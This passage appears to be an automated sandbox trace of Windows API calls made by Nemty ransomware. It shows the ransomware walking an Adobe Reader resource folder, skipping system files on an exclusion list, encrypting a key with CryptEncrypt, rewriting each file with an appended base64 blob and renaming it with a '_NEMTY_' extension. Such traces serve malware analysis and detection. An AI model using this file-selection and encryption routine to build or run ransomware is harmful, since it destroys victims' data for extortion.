Size=0x14e) returned 0x63403e8 [0214.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0214.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.628] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_BH.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_bh.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_BH.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_bh.txt._nemty_kgobjgd_")) returned 1 [0214.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0214.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0214.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0214.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.629] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.ar_DZ.txt", cAlternateFileName="DIF61A~1.TXT")) returned 1 [0214.629] lstrcmpiW (lpString1="DisplayLanguageNames.ar_DZ.txt", lpString2=".") returned 1 [0214.629] lstrcmpiW (lpString1="DisplayLanguageNames.ar_DZ.txt", lpString2="..") returned 1 [0214.629] lstrcmpiW (lpString1="DisplayLanguageNames.ar_DZ.txt", lpString2="...") returned 1 [0214.629] lstrcmpiW (lpString1="DisplayLanguageNames.ar_DZ.txt", lpString2="windows") returned -1 [0214.629] lstrcmpiW (lpString1="DisplayLanguageNames.ar_DZ.txt", lpString2="$RECYCLE.BIN") returned 1 [0214.629] lstrcmpiW (lpString1="DisplayLanguageNames.ar_DZ.txt", lpString2="rsa") returned -1 [0214.629] lstrcmpiW (lpString1="DisplayLanguageNames.ar_DZ.txt", lpString2="NTDETECT.COM") returned -1 [0214.629] lstrcmpiW (lpString1="DisplayLanguageNames.ar_DZ.txt", lpString2="ntldr") returned -1 [0214.629] lstrcmpiW (lpString1="DisplayLanguageNames.ar_DZ.txt", lpString2="MSDOS.SYS") returned -1 [0214.629] lstrcmpiW (lpString1="DisplayLanguageNames.ar_DZ.txt", lpString2="IO.SYS") returned -1 [0214.629] lstrcmpiW (lpString1="DisplayLanguageNames.ar_DZ.txt", lpString2="boot.ini") returned 1 [0214.629] lstrcmpiW (lpString1="DisplayLanguageNames.ar_DZ.txt", lpString2="boot.ini") returned 1 [0214.629] lstrcmpiW (lpString1="DisplayLanguageNames.ar_DZ.txt", lpString2="AUTOEXEC.BAT") returned 1 [0214.629] lstrcmpiW (lpString1="DisplayLanguageNames.ar_DZ.txt", lpString2="ntuser.dat") returned -1 [0214.629] lstrcmpiW (lpString1="DisplayLanguageNames.ar_DZ.txt", lpString2="desktop.ini") returned 1 [0214.630] lstrcmpiW (lpString1="DisplayLanguageNames.ar_DZ.txt", lpString2="CONFIG.SYS") returned 1 [0214.630] lstrcmpiW (lpString1="DisplayLanguageNames.ar_DZ.txt", lpString2="RECYCLER") returned -1 [0214.630] lstrcmpiW (lpString1="DisplayLanguageNames.ar_DZ.txt", lpString2="BOOTSECT.BAK") returned 1 [0214.630] lstrcmpiW (lpString1="DisplayLanguageNames.ar_DZ.txt", lpString2="bootmgr") returned 1 [0214.630] lstrcmpiW (lpString1="DisplayLanguageNames.ar_DZ.txt", lpString2="programdata") returned -1 [0214.630] lstrcmpiW (lpString1="DisplayLanguageNames.ar_DZ.txt", lpString2="appdata") returned 1 [0214.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.630] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_DZ.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.630] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_DZ.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_DZ.txt", lpUsedDefaultChar=0x0) returned 30 [0214.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0214.630] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_DZ.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.630] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_DZ.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_DZ.txt", lpUsedDefaultChar=0x0) returned 30 [0214.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0214.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.630] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_DZ.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.630] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_DZ.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_DZ.txt", lpUsedDefaultChar=0x0) returned 30 [0214.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.630] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_DZ.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.630] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_DZ.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_DZ.txt", lpUsedDefaultChar=0x0) returned 30 [0214.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0214.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0214.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0214.630] Sleep (dwMilliseconds=0x5) [0214.638] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x339269f0, dwHighDateTime=0x1d561e8)) [0214.638] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x339269f0, dwHighDateTime=0x1d561e8)) [0214.638] GetLastError () returned 0x0 [0214.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.638] GetLastError () returned 0x0 [0214.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.639] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0214.639] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0214.639] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0214.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0214.639] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="yu6rN6rgMm6VT/0H4sbuJ4tcdjen0hrVCEaPWQqb+vl5EcT5cciWVFr4kvK3pqx6\r\nZ0KVHxb3JbwsoDe4SLElPctBlZBfqBMQfv749KmCInhLbwV/8EFqvpfoS3AMSM4v\r\naN96qJn71tm81ZMbe4DSj+XuPptfkdU3sl6Fhc/5CoLpGD3LGT8b8QVp/O1JGnI2\r\nxvTiXdLSuUH2ZZPYoldaBdiPUYIGfnK/ehHlFyUkJvI12EenYQBjjW0q9qiTy2J5\r\nZpmoHEItMJwtrQBDKlTtUF3RlM1+M12ozdHsraTRsnPAZR/DRxidRn2ReGpTI4z+\r\n+QGzOtypyccjl7wXNGclxQ==\r\n", pcchString=0x653e5dc) returned 1 [0214.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0214.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0214.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0214.639] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_DZ.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_dz.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0214.639] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27798) returned 1 [0214.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6c90) returned 0x6352c48 [0214.639] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.640] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6c90, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6c90, lpOverlapped=0x0) returned 1 [0214.643] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.643] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6c90, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6c90, lpOverlapped=0x0) returned 1 [0214.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.643] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27798, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c96 [0214.643] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0214.643] CloseHandle (hObject=0x2e8) returned 1 [0214.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0214.643] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0214.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0214.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0214.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.644] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_DZ.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_dz.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_DZ.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_dz.txt._nemty_kgobjgd_")) returned 1 [0214.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0214.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0214.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0214.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.645] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.ar_EG.txt", cAlternateFileName="DIC7FA~1.TXT")) returned 1 [0214.645] lstrcmpiW (lpString1="DisplayLanguageNames.ar_EG.txt", lpString2=".") returned 1 [0214.645] lstrcmpiW (lpString1="DisplayLanguageNames.ar_EG.txt", lpString2="..") returned 1 [0214.645] lstrcmpiW (lpString1="DisplayLanguageNames.ar_EG.txt", lpString2="...") returned 1 [0214.645] lstrcmpiW (lpString1="DisplayLanguageNames.ar_EG.txt", lpString2="windows") returned -1 [0214.645] lstrcmpiW (lpString1="DisplayLanguageNames.ar_EG.txt", lpString2="$RECYCLE.BIN") returned 1 [0214.645] lstrcmpiW (lpString1="DisplayLanguageNames.ar_EG.txt", lpString2="rsa") returned -1 [0214.645] lstrcmpiW (lpString1="DisplayLanguageNames.ar_EG.txt", lpString2="NTDETECT.COM") returned -1 [0214.645] lstrcmpiW (lpString1="DisplayLanguageNames.ar_EG.txt", lpString2="ntldr") returned -1 [0214.645] lstrcmpiW (lpString1="DisplayLanguageNames.ar_EG.txt", lpString2="MSDOS.SYS") returned -1 [0214.645] lstrcmpiW (lpString1="DisplayLanguageNames.ar_EG.txt", lpString2="IO.SYS") returned -1 [0214.645] lstrcmpiW (lpString1="DisplayLanguageNames.ar_EG.txt", lpString2="boot.ini") returned 1 [0214.645] lstrcmpiW (lpString1="DisplayLanguageNames.ar_EG.txt", lpString2="boot.ini") returned 1 [0214.645] lstrcmpiW (lpString1="DisplayLanguageNames.ar_EG.txt", lpString2="AUTOEXEC.BAT") returned 1 [0214.645] lstrcmpiW (lpString1="DisplayLanguageNames.ar_EG.txt", lpString2="ntuser.dat") returned -1 [0214.645] lstrcmpiW (lpString1="DisplayLanguageNames.ar_EG.txt", lpString2="desktop.ini") returned 1 [0214.645] lstrcmpiW (lpString1="DisplayLanguageNames.ar_EG.txt", lpString2="CONFIG.SYS") returned 1 [0214.645] lstrcmpiW (lpString1="DisplayLanguageNames.ar_EG.txt", lpString2="RECYCLER") returned -1 [0214.645] lstrcmpiW (lpString1="DisplayLanguageNames.ar_EG.txt", lpString2="BOOTSECT.BAK") returned 1 [0214.645] lstrcmpiW (lpString1="DisplayLanguageNames.ar_EG.txt", lpString2="bootmgr") returned 1 [0214.645] lstrcmpiW (lpString1="DisplayLanguageNames.ar_EG.txt", lpString2="programdata") returned -1 [0214.645] lstrcmpiW (lpString1="DisplayLanguageNames.ar_EG.txt", lpString2="appdata") returned 1 [0214.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_EG.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_EG.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_EG.txt", lpUsedDefaultChar=0x0) returned 30 [0214.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0214.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_EG.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_EG.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_EG.txt", lpUsedDefaultChar=0x0) returned 30 [0214.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0214.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_EG.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_EG.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_EG.txt", lpUsedDefaultChar=0x0) returned 30 [0214.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_EG.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_EG.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_EG.txt", lpUsedDefaultChar=0x0) returned 30 [0214.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0214.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0214.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0214.646] Sleep (dwMilliseconds=0x5) [0214.654] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3394cb50, dwHighDateTime=0x1d561e8)) [0214.654] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3394cb50, dwHighDateTime=0x1d561e8)) [0214.654] GetLastError () returned 0x0 [0214.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.654] GetLastError () returned 0x0 [0214.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.654] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0214.654] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0214.654] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0214.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0214.654] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: 